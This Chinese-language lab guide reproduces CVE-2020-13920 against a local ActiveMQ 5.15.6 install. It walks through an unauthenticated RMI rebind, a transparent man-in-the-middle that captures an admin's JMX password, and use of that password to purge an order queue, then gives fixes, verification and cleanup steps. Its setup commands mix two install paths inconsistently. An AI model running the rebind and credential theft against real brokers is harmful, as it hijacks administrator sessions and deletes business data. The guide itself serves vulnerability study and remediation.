学习任务
目标:在 M4 芯片的 Mac 上搭起真实 ActiveMQ 环境 + 真实业务场景(下单 → 库存消费),
完整演示"未授权 rebind → 中间人 → 抓到管理员 JMX 密码 → 用偷来的密码清空订单队列",
且管理员全程毫无察觉 (jconsole 照常打开、业务照常跑)。最后给出逐条可执行的修复命令。
预计耗时:30~40 分钟(含装 ActiveMQ 和业务模拟)
配套主手册:《ActiveMQ_JMX_RMI未授权漏洞CVE-2020-13920_小白复现手册.md》
0. 先破一个误区:M4 上不用折腾老 JDK 也能抓到密码
抓密码走的是本机 路径(127.0.0.1),而 RegistryImpl.checkAccess() 对本机来源的 rebind
一直是允许的------不管 JDK 多新。所以:
| 场景 | 需要老 JDK(≤8u202)吗 | 说明 |
|---|---|---|
| 本机 rebind + 抓密码(本指南) | ❌ 不需要 | 本机 rebind 在所有 JDK 版本都允许 |
| 跨机器远程 rebind | ✅ 必需(要 CVE-2019-2684 绕过) | 见《Intel Mac 指南》 |
再补一个硬件事实:macOS 上没有 aarch64 原生的 JDK 8(Temurin / Oracle / Zulu / Corretto 都只发
macOS x64 的 JDK 8,Apple Silicon 靠 Rosetta 2 转译)。ActiveMQ 5.15.6 本身要求 Java 8,
所以跑真 ActiveMQ 这一步要装 x64 JDK 8 + Rosetta;但攻击端 PoC 用 ARM64 原生 JDK 21 即可,两边分工。
1. 前置检查
uname -m # 期望 arm64(M 系列)
sw_vers # 看 macOS 版本,需 11 Big Sur 以上
df -h / | tail -1 # 剩余磁盘 ≥ 2GB
| 命令 | 含义 |
|---|---|
uname -m |
看 CPU 架构,arm64 = Apple Silicon |
sw_vers |
macOS 专属,打印系统版本(Linux 上对应 cat /etc/os-release) |
df -h / |
看根分区剩余空间(ActiveMQ + JDK 约 1GB) |
2. 装两个 JDK(分工明确)
JDK 21(ARM64 原生)→ 跑攻击端 PoC、jconsole
JDK 8(x64 + Rosetta)→ 跑 ActiveMQ 5.15.6 和业务程序
# ① 攻击端:ARM64 原生 JDK 21
brew install --cask temurin@21
# ② 靶机端:x64 JDK 8(ActiveMQ 5.15.x 要求 Java 8)
softwareupdate --install-rosetta --agree-to-license # 弹窗点"安装"
brew install --cask temurin@8
| 片段 | 含义 |
|---|---|
brew install --cask |
装带图形安装器的二进制包(JDK 属此类) |
temurin@21 |
Eclipse Temurin JDK 21,有 macOS aarch64 原生版 ,含 javac 和 jconsole |
softwareupdate --install-rosetta |
装 Rosetta 2,让 M 系列能跑 x86_64 程序(JDK 8 只有 x64 版) |
temurin@8 |
macOS 上只有 x64 版,会自动经 Rosetta 运行 |
没装 Homebrew 先装:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"Apple Silicon 装完要配 PATH:
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile && eval "$(/opt/homebrew/bin/brew shellenv)"
验证(两次切换都要看,别只验一个):
/usr/libexec/java_home -V # 列出全部已装 JDK,确认 8 和 21 都在
export JAVA_HOME=$(/usr/libexec/java_home -v 21); export PATH="$JAVA_HOME/bin:$PATH"
java -version # 期望 21.x
ls "$JAVA_HOME/bin/jconsole" # 确认 jconsole 存在(受害者视角要用)
export JAVA_HOME=$(/usr/libexec/java_home -v 1.8); export PATH="$JAVA_HOME/bin:$PATH"
java -version # 期望 1.8.0_xxx
javac -version # 期望 1.8.0_xxx(没有它说明装的是 JRE)
把切换别名写进配置,后面反复要用:
cat >> ~/.zshrc <<'EOF'
export JAVA_21_HOME=$(/usr/libexec/java_home -v 21)
export JAVA_8_HOME=$(/usr/libexec/java_home -v 1.8)
alias jdk21='export JAVA_HOME=$JAVA_21_HOME; export PATH=$JAVA_HOME/bin:$PATH; java -version'
alias jdk8='export JAVA_HOME=$JAVA_8_HOME; export PATH=$JAVA_HOME/bin:$PATH; java -version'
EOF
source ~/.zshrc
| 片段 | 含义 |
|---|---|
cat >> ~/.zshrc <<'EOF' |
内容追加 到 zsh 配置(用 > 会覆盖整个文件,千万别写错) |
<<'EOF' ... EOF |
here-document;引号包住 EOF 表示原样写入,不做变量替换 |
source ~/.zshrc |
重新加载,不用重开终端 |
3. 安装 ActiveMQ 5.15.6(受影响版本,一步一步)
3.1 下载并解压
cd ~/Downloads
curl -fL -O https://archive.apache.org/dist/activemq/5.15.6/apache-activemq-5.15.6-bin.tar.gz
| 片段 | 含义 |
|---|---|
curl -f |
HTTP 报错就失败退出,不静默存个错误页 |
-L |
跟随跳转(Apache 归档站必跳) |
-O |
按服务器原文件名保存 |
COPYFILE_DISABLE=1 tar -zxf apache-activemq-5.15.6-bin.tar.gz
sudo mkdir -p /opt
sudo mv apache-activemq-5.15.6 /opt/activemq
sudo xattr -dr com.apple.quarantine /opt/activemq
| 片段 | 含义 |
|---|---|
COPYFILE_DISABLE=1 |
Mac 专属关键 :阻止 tar 生成 ._xxx AppleDouble 元数据文件。不加会多出一堆隐藏文件,可能让 ActiveMQ 启动脚本行为异常 |
tar -zxf |
解压 gzip 包 |
sudo mv ... /opt/activemq |
挪到固定路径,后面所有命令都基于这个路径 |
xattr -dr com.apple.quarantine |
清 Gatekeeper 隔离标记,否则从网上下载的包会被系统拦("无法验证开发者") |
3.2 开 JMX + 配 JMX 密码(模拟"运维为了监控开的口子")
先建密码文件(权限必须 600,否则 JMX 拒绝启动):
sudo tee /Users/struggle/Sites/VulnLab/ActiveMQ/activemq/apache-activemq-5.15.6/conf/jmx.access <<< 'admin readwrite'
sudo tee /opt/activemq/conf/jmx.password <<< 'admin activemq'
sudo chmod 600 jmx.password jmx.access
| 命令 | 含义 |
|---|---|
tee <文件> <<< '内容' |
把字符串写入文件(<<< 是 here-string,比 echo | tee 简洁) |
jmx.access |
定义用户名和权限级别(readwrite / readonly) |
jmx.password |
定义用户名密码 |
chmod 600 |
JMX 强制要求只有属主可读,权限不对会直接启动失败 |
再编辑启动配置:
sudo vi /opt/activemq/bin/env
在 # ACTIVEMQ_SUNJMX_START 那一堆注释行下面 加(Vi 里按 i 进编辑,Esc 后 :wq 保存):
# 定义 ActiveMQ 根目录(根据你的实际情况调整)
ACTIVEMQ_HOME="/Users/struggle/Sites/VulnLab/ActiveMQ/activemq/apache-activemq-5.15.6"
# 指定 Java 8 环境 (macOS 特有命令)
JAVA_HOME="$(/usr/libexec/java_home -v 1.8)"
# JMX 配置
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.port=1099"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.rmi.port=1098"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.authenticate=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl=false"
# 【关键】修改为正确的实际路径
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.password.file=${ACTIVEMQ_HOME}/conf/jmx.password"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.access.file=${ACTIVEMQ_HOME}/conf/jmx.access"
# RMI 主机名绑定到本地
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Djava.rmi.server.hostname=127.0.0.1"
| 参数 | 含义 |
|---|---|
-Dcom.sun.management.jmxremote |
总开关:让 JVM 开 JMX 远程管理 |
jmxremote.port=1099 |
RMI 注册表端口(那个"通讯录",漏洞入口) |
jmxremote.rmi.port=1098 |
RMI 数据端口,固定住避免随机端口让防火墙规则失效 |
authenticate=true |
给 JMX 加密码 ------ 注意:这保护的是 JMX,保护不了注册表,漏洞照样成立 |
java.rmi.server.hostname=127.0.0.1 |
对外通告地址;本机复现填 127.0.0.1 |
JAVA_HOME=...1.8 |
ActiveMQ 5.15.x 必须跑在 Java 8 上(Rosetta 转译) |
不习惯 vi 就换
nano(Ctrl+O保存、Ctrl+X退出)。macOS 是 BSD sed,批量改必须写
sed -i '' 's/a/b/' file(-i后带空引号),照搬 Linux 的
sed -i会报invalid command mode。
3.3 启动并确认
jdk8 # 切到 JDK 8(上一步配的别名)
sudo /opt/activemq/bin/activemq start
sleep 25
tail -25 /opt/activemq/data/activemq.log # 期望看到 Apache ActiveMQ 5.15.6 ... started
确认端口(macOS 没有 ss,用 lsof):
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098|8161|61616'
| 参数 | 含义 |
|---|---|
lsof -n |
不做 DNS 反解析,直接显示 IP |
-P |
不把端口翻译成服务名,显示 1099 而不是 rmiregistry |
-iTCP |
只看 TCP 连接 |
-sTCP:LISTEN |
只看监听状态的套接字 |
四个端口都得看到:1099(注册表)、1098(RMI 数据)、8161(Web 控制台)、61616(业务消息)。
用配套脚本确认它是 RMI 注册表:
cd ~/Downloads/CVE-2020-13920_PoC/poc
python3 probe_rmi.py 127.0.0.1 1099
# 期望:[+] 127.0.0.1:1099 是 RMI 注册表 | 服务端自报主机名=127.0.0.1 | RMI数据端口=1098
浏览器打开 http://127.0.0.1:8161(admin/admin)能看到控制台 → ActiveMQ 装好了。
点 Queues 标签,此时应该是空的(下一步就有消息了)。
4. 真实业务场景模拟:电商下单 → 库存扣减
4.1 场景设定
订单系统(Producer) ──► [ActiveMQ 队列 ORDER.QUEUE] ──► 库存服务(Consumer)
61616 端口投递 61616 端口消费
│ │
└──────── 业务流量走 OpenWire 61616 ──────────────────┘
(与 1099 管理口互不相干)
运维用 jconsole 连 1099 监控队列深度 ──► 被中间人劫持,密码被偷
这个拓扑里最值得体会的一点:业务流走 61616,管理流走 1099,两条路完全独立。
所以中间人挂上去之后,消息照发、订单照消费、业务监控图全是绿的------没人会发现管理连接被劫了。
4.2 编译并启动业务程序
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz
chmod +x run_biz_demo.sh
./run_biz_demo.sh
脚本会自动编译并弹出两个终端窗口。手工等价命令如下(理解每一步):
jdk8
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz
javac -encoding UTF-8 -cp /opt/activemq/activemq-all-5.15.6.jar OrderProducer.java OrderConsumer.java
javac -encoding UTF-8 JmxBrokerOps.java # 纯 JDK 标准库,不需要 jar
# 窗口 A:订单系统,每 2 秒一笔订单
java -cp .:/opt/activemq/activemq-all-5.15.6.jar OrderProducer tcp://127.0.0.1:61616 ORDER.QUEUE 2
# 窗口 B:库存服务,实时消费
java -cp .:/opt/activemq/activemq-all-5.15.6.jar OrderConsumer tcp://127.0.0.1:61616 ORDER.QUEUE
| 片段 | 含义 |
|---|---|
-cp /opt/activemq/activemq-all-5.15.6.jar |
把 ActiveMQ 客户端 jar 加入类路径(含 JMS API + OpenWire 实现) |
OrderProducer ... ORDER.QUEUE 2 |
三个参数:broker 地址、队列名、间隔秒数 |
OrderProducer.java 里 DeliveryMode.PERSISTENT |
持久化投递,模拟真实订单"不能丢"的语义 |
正常现象:
[订单系统] ✔ 投递 SO20260928-0001 {"orderId":"SO20260928-0001","userId":"U10086",...}
[库存服务] ✔ 收到订单 SO20260928-0001 → 库存扣减 SKU-1001 x1,通知服务已触发
浏览器刷新 http://127.0.0.1:8161 → Queues → ORDER.QUEUE 能看到 Number Of Pending Messages 在涨落。
5. 攻击者登场:未授权 rebind + 抓密码
保持业务两个窗口继续跑。
5.1 窗口 C:挂上恶意 JMX(攻击机用 JDK 21,ARM64 原生)
jdk21
cd ~/Downloads/CVE-2020-13920_PoC/poc
javac -encoding UTF-8 *.java
java CVE202013920Poc 127.0.0.1 1099 127.0.0.1 8888
期望输出:
[*] 已连上注册表 127.0.0.1:1099
[*] 现有登记项:[jmxrmi]
[*] 原始 jmxrmi -> RMIServerImpl_Stub[...]
[*] 已把真服务备份为 jmxrmi-backup
[*] 恶意 JMX 服务已导出在 127.0.0.1:8888
[+] rebind 成功,注册表没做任何身份验证!
[+] 结论:CVE-2020-13920 漏洞成立(目标可被中间人)
这一行 rebind 成功,注册表没做任何身份验证! 就是漏洞成立的判据。
窗口别关,它正蹲在 8888 端口等管理员上钩。
JDK 21 连 JDK 8 的注册表跨版本是通的(JRMP 协议兼容)。
万一报反序列化/类找不到,就把攻击端也切到
jdk8再跑一遍(Rosetta 下也能跑)。
5.2 窗口 D:管理员(受害者视角)用 jconsole 连
jdk21
"$JAVA_HOME/bin/jconsole" service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi
用户名 admin、密码 activemq → 连接。
连上后点 MBeans → org.apache.activemq → Broker → localhost → Queue → ORDER.QUEUE,
能看到 QueueSize、EnqueueCount、DequeueCount 实时变化------运维日常监控队列就是这么看的。
5.3 看结果
回到窗口 C,会立刻打印:
[*] 客户端来问版本号了,转发给真服务(伪装成功)
########## 抓到凭据! ##########
[+] credentials 类型 : [Ljava.lang.String;
[+] credentials 内容 : [admin, activemq]
###############################
[+] 已把真连接交还给客户端,管理员那边一切正常(无感中间人)
而窗口 D 的 jconsole 一切正常 ,订单系统和库存服务窗口也照常在跑。
这就是漏洞最可怕的地方:管理员加了密码、用了官方工具、业务指标全绿,密码却已经到了攻击者手里。
6. 危害具象化:用偷来的密码清空订单队列
光说"泄露凭据"太抽象,这一步让你亲眼看到业务损失。
jdk21
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz
# ① 先看队列情况(攻击者踩点)
java JmxBrokerOps 127.0.0.1 1099 admin activemq
输出示例:
[+] 用偷来的凭据登录成功:admin / activemq
[+] Broker: localhost 版本 5.15.6 运行时长 3 minutes
[+] 内存使用率 0% 存储使用率 0%
[*] 队列清单:
ORDER.QUEUE 堆积=12 累计入队=47 累计出队=35
# ② 执行清空(这是"删库"级别的破坏)
java JmxBrokerOps 127.0.0.1 1099 admin activemq purge ORDER.QUEUE
[+] 用偷来的凭据登录成功:admin / activemq
[*] 队列清单:
ORDER.QUEUE 堆积=12 累计入队=47 累计出队=35
>>> 已清空队列 ORDER.QUEUE(12 条消息被删除)
[!] 危害已发生:业务消息被管理员权限清空。
[!] 去看 OrderConsumer 那个窗口 ------ 它不会再收到任何订单。
[!] 真实后果:用户已付款,但库存未扣减、未发货。
现在去看"库存服务"窗口 :消息流断了。再去 8161 控制台看 ORDER.QUEUE,堆积数归零。
真实后果对应到业务:这些是已支付订单。用户付了钱,库存没扣、货没发、通知没触发。
如果队列里是金融流水或对账消息,就是直接的生产事故。
而且 JMX 的
readwrite权限远不止 purge:还能删队列、改 Broker 配置、伪造消息;有 MLet 的话还能从远程 URL 加载类 → RCE(那条线是 CVE-2020-11998,CVSS 9.8)。
对照实验(加深理解) :把 authenticate=true 改成 false 重启,再跑一次 PoC,
攻击端会打印 credentials 类型 : null(目标 JMX 没开认证)。
这说明:JMX 没开认证时,攻击者根本不用做中间人,直接连上去就能操作 MBean。
中间人的价值恰恰在于:对方开了认证你也拿得到密码。
7. 修复建议(按优先级,逐条附命令)
| 优先级 | 措施 | 一句话理由 |
|---|---|---|
| ★★★ | 升级 ActiveMQ 到 ≥ 5.15.12(建议 5.15.16+) | 官方修复版,从根上补齐注册表鉴权 |
| ★★★ | 关闭不需要的 JMX | 1099 是纯运维口,不用就别开,端口消失即风险消失 |
| ★★☆ | 必须用 JMX 就开认证 + SSL + 只听本机 | 缩小暴露面(注意:这挡不住 rebind,只能挡后续直连) |
| ★★☆ | 网络层隔离 1099 和 1098 | 只封 1099 没用,JMX 数据走 1098 |
| ★☆☆ | 监控与定期复查 | 及时发现 rebind 痕迹 |
7.1 ★★★ 方案一:彻底关闭 JMX(最推荐,业务用不到就别开)
# ① 停服务
sudo /opt/activemq/bin/activemq stop
# ② 注释掉所有 JMX 启动参数(BSD sed,-i 后必须有空引号)
sudo sed -i '' 's/^ACTIVEMQ_SUNJMX_START="\$ACTIVEMQ_SUNJMX_START -Dcom/#&/' /opt/activemq/bin/env
# ③ 确认改对了(这些行应该都以 # 开头)
grep -n "ACTIVEMQ_SUNJMX_START" /opt/activemq/bin/env
# ④ 同步把 activemq.xml 的连接器关掉
sudo sed -i '' 's/createConnector="true"/createConnector="false"/' /opt/activemq/conf/activemq.xml
grep -n "createConnector" /opt/activemq/conf/activemq.xml
# ⑤ 启动并确认端口消失
jdk8
sudo /opt/activemq/bin/activemq start
sleep 20
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098' # 期望:无输出
lsof -nP -iTCP -sTCP:LISTEN | grep -E '8161|61616' # 期望:业务端口仍在(服务没被搞坏)
| 片段 | 含义 |
|---|---|
sed -i '' 's/^.../#&/' |
macOS BSD sed;& 代表"匹配到的整行",即在这些行首加 # |
grep -n |
带行号显示,方便肉眼确认改动位置 |
| 最后两条 lsof | 一个确认风险端口没了,一个确认业务没被误伤 |
7.2 ★★★ 方案二:升级 ActiveMQ 到 5.15.16
# ① 停服务 + 全量备份(conf 和 data 必须留,否则配置和消息全丢)
sudo /opt/activemq/bin/activemq stop
sudo cp -a /opt/activemq /opt/activemq.bak.$(date +%Y%m%d)
# ② 下载新版本(5.15.16 同时修掉 CVE-2020-13920 / CVE-2020-11998 / CVE-2023-46604)
cd ~/Downloads
curl -fL -O https://archive.apache.org/dist/activemq/5.15.16/apache-activemq-5.15.16-bin.tar.gz
COPYFILE_DISABLE=1 tar -zxf apache-activemq-5.15.16-bin.tar.gz
# ③ 保留旧配置,只换程序文件(不要无脑覆盖 conf)
sudo cp -a ~/Downloads/apache-activemq-5.15.16/lib /opt/activemq/
sudo cp -a ~/Downloads/apache-activemq-5.15.16/activemq-all-5.15.16.jar /opt/activemq/ 2>/dev/null || true
# 如果旧版 conf 有自定义 broker 配置,按新版 activemq.xml 的差别手工合并,别直接覆盖
# ④ 启动并验证版本
jdk8
sudo /opt/activemq/bin/activemq start
sleep 25
ls /opt/activemq/lib/activemq-broker-*.jar # 期望看到 5.15.16
tail -20 /opt/activemq/data/activemq.log # 期望看到 5.15.16 ... started
| 片段 | 含义 |
|---|---|
cp -a |
归档复制:保留权限、符号链接、时间戳(备份首选) |
$(date +%Y%m%d) |
命令替换,给备份目录加日期后缀 |
只换 lib 不换 conf |
保守做法:避免新版配置覆盖掉你的业务定制(队列、持久化、连接器) |
升级后必须重跑第 8 节的自检:确认 rebind 已失效。
生产环境先在测试环境验证兼容性(5.15.x 内部升级一般平滑,但 KahaDB 索引、自定义 transportConnector 要留意)。
7.3 ★★☆ 方案三:必须用 JMX 就开认证 + SSL + 只听本机
⚠️ 诚实提示 :这些措施挡不住 rebind 本身(注册表无认证是设计缺陷),
它们的作用是"即便注册表被劫持,攻击者也拿不到可用凭据/连不上后续服务",属于纵深防御。
根本手段仍是升级或关闭 JMX。
# ① 密码文件(权限必须 600,否则 JMX 拒绝启动)
sudo tee /opt/activemq/conf/jmx.access <<< 'admin readwrite'
sudo tee /opt/activemq/conf/jmx.password <<< 'admin 换成强密码!2024'
sudo chmod 600 /opt/activemq/conf/jmx.password /opt/activemq/conf/jmx.access
sudo chown root:wheel /opt/activemq/conf/jmx.password /opt/activemq/conf/jmx.access
# ② 改启动参数:开认证 + 开 SSL + 只听本机
sudo vi /opt/activemq/bin/env
把这些行改成:
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.port=1099"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.rmi.port=1098"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.authenticate=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl.need.client.auth=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.password.file=/opt/activemq/conf/jmx.password"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.access.file=/opt/activemq/conf/jmx.access"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Djava.rmi.server.hostname=127.0.0.1"
# ③ 重启并验证
sudo /opt/activemq/bin/activemq stop && sleep 5
jdk8 && sudo /opt/activemq/bin/activemq start
sleep 20
lsof -nP -iTCP:1099 -sTCP:LISTEN # 期望只看到 127.0.0.1:1099,不是 *:1099
| 参数 | 含义 |
|---|---|
authenticate=true |
客户端必须提供用户名密码 |
ssl=true + ssl.need.client.auth=true |
双向 TLS:既加密凭据传输(防 sniff),又校验客户端证书 |
java.rmi.server.hostname=127.0.0.1 |
只对本机通告管理地址,外网拿不到可达的 stub |
lsof 里 127.0.0.1:1099 vs *:1099 |
前者只监听回环(安全),后者监听所有网卡(暴露) |
7.4 ★★☆ 网络层隔离(macOS 用 pfctl,不是 iptables)
⚠️ 又一个诚实提示:本机场景下封端口挡不住本机进程的 rebind(本机流量不走网卡过滤)。
这条主要用在生产环境 / 远程场景(以及你在 Intel 那台机器上跑 Docker 靶机时)。
macOS 的包过滤是 pf(packet filter),Linux 的 iptables 在这里没有:
# ① 备份现有 pf 配置
sudo cp /etc/pf.conf /etc/pf.conf.bak
# ② 写一条独立的 anchor 规则(1099 和 1098 都要封)
cat <<'EOF' | sudo tee /etc/pf.anchors/jmxblock
block drop in proto tcp from any to any port 1099
block drop in proto tcp from any to any port 1098
EOF
# ③ 在 pf.conf 里挂上这个 anchor(插在 rdr-anchor 那几行之前)
sudo sed -i '' '/^rdr-anchor/a\
anchor "jmxblock" load anchor "jmxblock" from "/etc/pf.anchors/jmxblock"
' /etc/pf.conf
grep -n "jmxblock" /etc/pf.conf
# ④ 启用(并让规则生效)
sudo pfctl -e -f /etc/pf.conf 2>/dev/null || sudo pfctl -f /etc/pf.conf
sudo pfctl -s rules | grep 1099 # 确认规则已加载
# ⑤ 撤销(实验完务必恢复,否则可能影响其它网络功能)
sudo pfctl -d # 关闭 pf
sudo cp /etc/pf.conf.bak /etc/pf.conf
| 命令 | 含义 |
|---|---|
/etc/pf.anchors/jmxblock |
pf 的自定义规则文件(标准做法,比直接改 pf.conf 干净) |
sed -i '' '/^rdr-anchor/a\ ...' |
BSD sed 在匹配行后 追加内容;\ 和换行是它的多行语法 |
pfctl -e -f |
-e 启用 pf、-f 载入配置文件 |
pfctl -s rules |
显示当前生效规则 |
pfctl -d |
禁用 pf(实验完必须恢复,pf 开着会影响 macOS 部分网络行为) |
Docker 靶机场景:容器层面用
-p 127.0.0.1:1099:1099只映射到回环,或在
docker run时干脆不映射 1099,用docker exec进去管理。
7.5 ★☆☆ 监控与审计
# 定期看 jmxrmi 指向哪(指向陌生 IP = 正在被劫持)
cd ~/Downloads/CVE-2020-13920_PoC/poc
java RegistryDump 127.0.0.1 1099
# 定期确认 1099 是否还开着
lsof -nP -iTCP:1099 -sTCP:LISTEN
# 看 ActiveMQ 日志里有没有异常连接
grep -iE "jmx|rmi|1099" /opt/activemq/data/activemq.log | tail -20
要告警的信号 :jmxrmi 指向变成了陌生 IP;注册表里出现 jmxrmi-backup 之类怪名字;
1099 出现来自非监控网段的连接。
8. 修复后自检(一条命令,四项检查)
cd ~/Downloads/CVE-2020-13920_PoC/poc
chmod +x verify_fix.sh
./verify_fix.sh 127.0.0.1 1099
脚本依次检查:
| # | 检查项 | 期望结果 |
|---|---|---|
| ① | 1099 / 1098 是否还在监听 | 不在监听(关了 JMX) |
| ② | ActiveMQ 版本 | ≥ 5.15.12(建议 5.15.16+) |
| ③ | 重跑 rebind PoC | 被拒绝 / 连不上 |
| ④ | jmxrmi 指向 |
本机 RMI 数据端口,非陌生 IP |
手工等价命令:
# ① 端口
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098' # 期望无输出
# ② 版本
ls /opt/activemq/lib/activemq-broker-*.jar # 期望含 5.15.16
# ③ 重跑攻击(期望被拒或连不上)
java CVE202013920Poc 127.0.0.1 1099 127.0.0.1 8888
# 期望:[-] rebind 被拒绝 ... 或 [-] 失败:... ConnectException
# ④ 探测
python3 probe_rmi.py 127.0.0.1 1099 # 期望:连不上或超时
判据 :rebind 依然成功 = 没修好,回到第 7 节继续整改。
9. 善后清理(实验结束务必执行)
# ① 停业务程序
pkill -f OrderProducer
pkill -f OrderConsumer
# ② 停攻击端
pkill -f CVE202013920Poc
pkill -f FakeActiveMQJmx
pkill -f jconsole
lsof -ti :8888 | xargs kill -9
# ③ 原地恢复 jmxrmi(不想重启 ActiveMQ 就用这个)
cd ~/Downloads/CVE-2020-13920_PoC/poc
java RestoreJmxrmi 127.0.0.1 1099
java RegistryDump 127.0.0.1 1099 # 确认 jmxrmi 已回到真服务
# ④ 恢复 pf 配置(如果改过)
sudo pfctl -d
sudo cp /etc/pf.conf.bak /etc/pf.conf
# ⑤ 停 ActiveMQ 或保持运行
sudo /opt/activemq/bin/activemq stop
# ⑥ 清编译产物
rm -f ~/Downloads/CVE-2020-13920_PoC/poc/*.class
rm -f ~/Downloads/CVE-2020-13920_PoC/poc/biz/*.class
| 片段 | 含义 |
|---|---|
pkill -f |
按完整命令行匹配进程名 |
lsof -ti :8888 | xargs kill -9 |
按端口强杀(Mac 没有 fuser -k,用这个替代) |
RestoreJmxrmi |
用 PoC 留下的 jmxrmi-backup 把注册表改回真服务 |
rebind 只改注册表内存,ActiveMQ 一重启就自动恢复,不留文件痕迹。
10. M4 / macOS 排障对照表
| 现象 | 原因 | 解决 |
|---|---|---|
javac: command not found |
装的是 JRE,或 PATH 没指向 JDK | 装 temurin@21/temurin@8(cask 带 javac);export PATH="$JAVA_HOME/bin:$PATH" |
java -version 不是刚装的版本 |
Mac 多版本靠 java_home挑选 |
jdk8 / jdk21 别名,或 export JAVA_HOME=$(/usr/libexec/java_home -v 1.8) |
Unable to locate a Java Runtime |
JDK 没被系统识别 | 确认装在 /Library/Java/JavaVirtualMachines/;跑 /usr/libexec/java_home -V |
| ActiveMQ 起不来,日志报 Java 版本 | 没用 JDK 8 启动 | jdk8 后再 activemq start;检查 bin/env 里的 JAVA_HOME |
| jconsole 打不开 / 闪退 | 路径不对或被 Gatekeeper 拦 | "$JAVA_HOME/bin/jconsole";系统设置 → 隐私与安全性 → 仍要打开 |
rebind 被拒绝 ... non-local host |
目标地址不是 127.0.0.1 | 本机演示目标必须填 127.0.0.1;跨机器请看《Intel Mac 指南》 |
JMX 启动失败 Password file read access must be restricted |
jmx.password 权限太松 | sudo chmod 600 /opt/activemq/conf/jmx.password |
Address already in use (1099) |
上次的靶场没关干净 | lsof -ti :1099 | xargs kill -9 |
解压后一堆 ._xxx 文件 |
macOS AppleDouble 元数据 | 加 COPYFILE_DISABLE=1 重新解压 |
| 运行报"无法验证开发者" | Gatekeeper 隔离标记 | sudo xattr -dr com.apple.quarantine /opt/activemq |
sed: invalid command mode |
macOS 是 BSD sed | 写 sed -i '' 's/a/b/' file,-i 后必须有空引号 |
ss: command not found |
macOS 没有 iproute2 | 用 lsof -nP -iTCP -sTCP:LISTEN,或 brew install iproute2mac |
iptables: command not found |
macOS 没有 iptables | 用 pfctl(见 7.4) |
| Producer/Consumer 编译报找不到 JMS 类 | 没加 -cp |
javac -cp /opt/activemq/activemq-all-5.15.6.jar ... |
| 抓到凭据但 jconsole 报错断开 | 转发链路断了 | 看攻击端是否打印"真服务拒绝了这次登录"------多半是 JMX 密码不对 |
| 想装 aarch64 原生 JDK 8 | 不存在 | macOS 没有 ARM64 版 JDK 8,只能 x64 + Rosetta |
11. 报告里怎么写
| 项 | 结论 |
|---|---|
| 漏洞编号 | CVE-2020-13920(CWE-306,CVSS 3.1 = 5.9 中危) |
| 组件版本 | ActiveMQ 5.15.6 < 5.15.12;JDK 8(本机复现场景) |
| 复现方式 | 本机未授权 rebind(LocateRegistry.createRegistry() 创建的注册表无身份校验) |
| 关键证据 1 | rebind("jmxrmi", 恶意服务) 未抛 AccessException,注册表无鉴权 |
| 关键证据 2 | 管理员 jconsole 输入 admin/activemq 后,攻击端成功捕获 [admin, activemq] |
| 关键证据 3 | 管理员 jconsole 功能正常、业务消息收发正常 → 透明中间人,无任何异常提示 |
| 关键证据 4 | 用偷来的密码执行 purge,队列 12 条已支付订单消息被清空,Consumer 收不到 → 业务损失具象化 |
| 成立条件 | 版本 < 5.15.12 + 开了 JMX + 1099 可达(本机复现不要求 JDK ≤8u202) |
| 升级危害链 | 凭据泄露 → 接管 Broker(改配置/删队列/伪造消息)→ MLet → RCE → 横向移动 |
| 修复 | 升级 ≥5.15.12(建议 5.15.16+);或关闭 JMX;或开认证 + SSL + 只听本机;网络隔离 1099 和 1098 |
| 自检 | ./verify_fix.sh 四项全绿 |
12. 合规提示
以上操作仅限本机自建靶场 或已书面授权的环境。
对未授权的 ActiveMQ 实例执行 rebind、劫持管理连接、抓取凭据、清空队列,
可能违反《网络安全法》《刑法》相关规定。
复现完成后请按第 9 节清理进程、pf 配置与编译产物,并按公司要求提交复测报告。